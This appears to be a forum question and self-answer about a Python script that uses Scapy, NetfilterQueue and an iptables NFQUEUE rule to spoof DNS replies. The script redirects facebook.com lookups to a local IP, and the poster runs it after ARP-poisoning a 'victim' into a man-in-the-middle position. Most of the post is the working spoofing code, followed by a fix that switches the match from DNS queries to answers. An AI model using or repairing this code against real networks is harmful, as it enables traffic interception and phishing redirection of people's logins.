Vfrdtyky

i don't know why mi script don't work, the victim browser shows : ERR: named not resolved.

My script

from scapy.all import *

from netfilterqueue import NetfilterQueue



spoofDomain = 'www.facebook.com'

spoofResolvedIp = '172.16.16.162'

queueId = 1



def dnsSpoof(packet):

        originalPayload = IP( packet.get_payload() )



        if not originalPayload.haslayer(DNSQR):

                # Not a dns query, accept and go on

                packet.accept()

        else:

                if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):

                        print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()



                        # Build the spoofed response

                        spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/

                          UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/

                          DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,

                          an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))



                        print "Spoofing DNS response to: " + spoofedPayload.summary()

                        packet.set_payload(str(spoofedPayload))

                        packet.accept()

                        print "------------------------------------------"

                else:

                        # DNS query but not for target spoofDomain, accept and go on

                        packet.accept()



# bind the callback function to the queue

nfqueue = NetfilterQueue()

nfqueue.bind(queueId, dnsSpoof)



# wait for packets

try:

    nfqueue.run()

except KeyboardInterrupt:

    print('')



nfqueue.unbind()

I use iptables -t mangle -I FORWARD -p udp -j NFQUEUE --queue-num 1 command.

Firs i perform a man in the middle attack by ARP Cache spoofing. I used wireshark to see the traffic and it seems to be ok, I don't know whats is going on.

I solved the problem, I was looking for queries I don't see that sorry

if not originalPayload.haslayer(DNSQR)

DNSQR is dns query, and I want to take dns answers, so the code is that:

if not originalPayload.haslayer(DNSRR)